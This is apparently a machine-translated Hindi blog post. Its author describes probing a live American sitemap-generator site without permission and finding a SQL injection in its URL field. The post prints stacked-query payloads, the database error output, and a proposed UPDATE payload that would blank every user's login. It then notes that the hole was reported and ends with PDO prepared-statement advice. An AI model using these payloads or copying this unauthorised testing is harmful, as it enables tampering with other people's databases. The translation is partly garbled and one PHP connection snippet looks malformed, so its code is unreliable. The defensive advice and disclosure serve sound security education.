एकल SQL इंजेक्शन का इतिहास

शुभ दोपहर
मैं बताना चाहता हूं कि मैंने साइटमैप बनाने के लिए एक बड़े अमेरिकी साइट को कैसे हैक किया और एसक्यूएल इंजेक्शन के खिलाफ सुरक्षा के बारे में याद दिलाया। पद का उद्देश्य केवल सूचना के उद्देश्यों के लिए है। लेकिन सभी क्रम में।

प्रागितिहास

मेरी कई परियोजनाओं के लिए, मुझे कुछ साइटमैप बनाने की आवश्यकता थी। मैंने गुगली की और, अन्य बातों के अलावा, साइटमैप बनाने के लिए एक अमेरिकी सेवा पाई (जहाँ आपको पंजीकरण करना था)। मैंने जल्दी से बाईं जानकारी दर्ज की (इस आशा में कि साइट में ईमेल प्रमाणीकरण नहीं है) और साइटमैप बनाने के लिए साइट का पता। और वह कुछ और महत्वपूर्ण मामलों में व्यस्त रहा, कुछ दिनों के लिए इसे भूल गया।

पहला कदम

और यहाँ मैं फिर से साइटमैप के निर्माण के लिए लौट रहा हूँ। मैं उसी साइट पर अपना डेटा दर्ज करता हूं (पहले से ही प्रामाणिक), और पहले दर्ज साइट का पता। प्रपत्र को संसाधित करने के परिणामस्वरूप, साइट पाठ प्रदर्शित करती है:

FATAL ERROR: Duplicate entry 'http://gnum.me/' for key 2 FATAL ERROR: query: INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, 'http://gnum.me/', 'fsga6a59.txt', '1','1','0','0','0', NOW()); 

पाठ का अर्थ है कि यह साइट पहले से ही डेटाबेस में है। मुझे अंदाजा था कि अपने हैकर कौशल को प्रशिक्षित करने के लिए इंटरनेट को सुरक्षित बनाने के लिए एसक्यूएल कोड के कार्यान्वयन का अभ्यास क्यों नहीं किया गया।
इसके साथ शुरू करने के लिए, मैंने इस प्रश्न के साथ, पंजीकरण के रूप में दर्ज किए गए पाठ के सत्यापन की कमी को देखा, स्वच्छता के लिए, ":

 ', 'fsga6a59.txt', '1','1','0','0','0', NOW()); INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178818, 'http://yg480ybv034df.me/ 

मुद्दा यह है कि मैं अनुरोध के पहले भाग को बंद कर रहा हूं:

 INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, ' 

कोड:

 ', 'fsga6a59.txt', '1','1','0','0','0', NOW()); 

और अंत बॉक्स को बंद करें

 ', 'fsga6a59.txt', '1','1','0','0','0', NOW()); 

कोड:

 INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178818, 'http://yg480ybv034df.me/ 

रिजल्ट का अनुरोध:

 FATAL ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useup' at line 1 FATAL ERROR: query: INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178959, '', 'fsga6a59.txt', '1','1','0','0','0', NOW()); INSERT INTO site (userid, url, verifyfile, usetimestamp, usepriority, useupload, useping, usepingbing, createdate) VALUES (178817, 'http://yg480ybv034df.me/', 'fsgf47a8.txt', '1','1','0','0','0', NOW()); 

परिणाम विश्लेषण

मुझे जानकारी मिली:

1. मेरे द्वारा दर्ज किया गया पाठ दुर्भावनापूर्ण कोड के लिए कोई सत्यापन नहीं है;
2. साइट के निर्माता लंबाई (125 अक्षरों तक) को सीमित करते हैं, इसलिए अनुरोध:

 load, useping, usepingbing, createdate) VALUES (178817, 'http://yg480ybv034df.me/', 'fsgf47a8.txt', '1','1','0','0','0', NOW()) 

सामान्य रूप से गुजरता है।

सारांश

सिद्धांत रूप में, आगे सब कुछ स्पष्ट है, मैं इस पंक्ति में 125 वर्णों तक किसी भी कोड को दर्ज कर सकता हूं। उदाहरण के लिए अगला प्रश्न फंतासी का है:

 ', 'fsga6a59.txt', '1','1','0','0','0', NOW()); UPDATE uses SET login=' ' 

इस क्वेरी को हटाकर, सभी लोगों के लॉगिन।

मैंने साइट पर छेद के बारे में जानकारी भेजी। कार्य पूरा हो गया है - अब हमारी जानकारी अधिक सुरक्षित होगी।

ग्राहक द्वारा दर्ज पाठ की वैधता की जांच करना न भूलें।

UPD1:
Imater और FanatPHP से सही SQL कनेक्शन और क्वेरी का उपयोग करने की सलाह
कनेक्ट:

 $dsn = "mysql:dbname=$config[dbname]=;host=$config[host];charset=$config[charset]"; $conf = array( PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, ); $pdo = new PDO($dsn, $config["user"], $config["pass"], $conf); 

प्रक्रिया इनपुट पाठ:

 $query = $db2->prepare("SELECT * FROM tree WHERE text LIKE :title OR id = :id"); $query->execute(array(":title"=>"%24938239823908%", ":id"=>$_GET ['sync3'])); while ($sql = $query->fetch()) echo $sql['fio']; 

UPD2: झटके वाली टिप्पणियों के लिए धन्यवाद, मैं आपको तैयार किए गए कथनों को याद दिलाना चाहता हूं:
तैयार किए गए बयानों का उपयोग करना सुरक्षा और प्रदर्शन दोनों के लिए कई लाभ प्रदान करता है। तैयार किए गए बयान एसक्यूएल क्वेरी के तर्क को उसमें प्रतिस्थापित डेटा से अलग करके सुरक्षा को बेहतर बनाने में मदद कर सकते हैं। तर्क और डेटा की यह जुदाई SQL इंजेक्शन की शुरूआत को रोकने में मदद कर सकती है। आमतौर पर, जब आप उपयोगकर्ताओं से डेटा का उपयोग करने वाले प्रश्नों का उपयोग करते हैं, तो आपको बहुत सावधान रहना होगा। ऐसा करने के लिए, आप ऐसे कार्यों का उपयोग करते हैं जो समस्या पात्रों से बचते हैं, जैसे एकल और दोहरे उद्धरण, बैकस्लैश। जब आप तैयार कथनों का उपयोग करते हैं तो ये ऑपरेशन आवश्यक नहीं होते हैं। SQL क्वेरी लॉजिक से डेटा को अलग करना MySQL को इन वर्णों को स्वचालित रूप से संसाधित करने और विशेष कार्यों का सहारा लेने की अनुमति नहीं देता है।

आपका ध्यान देने के लिए धन्यवाद। मेरी पहली पोस्ट को कड़ाई से न आंकें।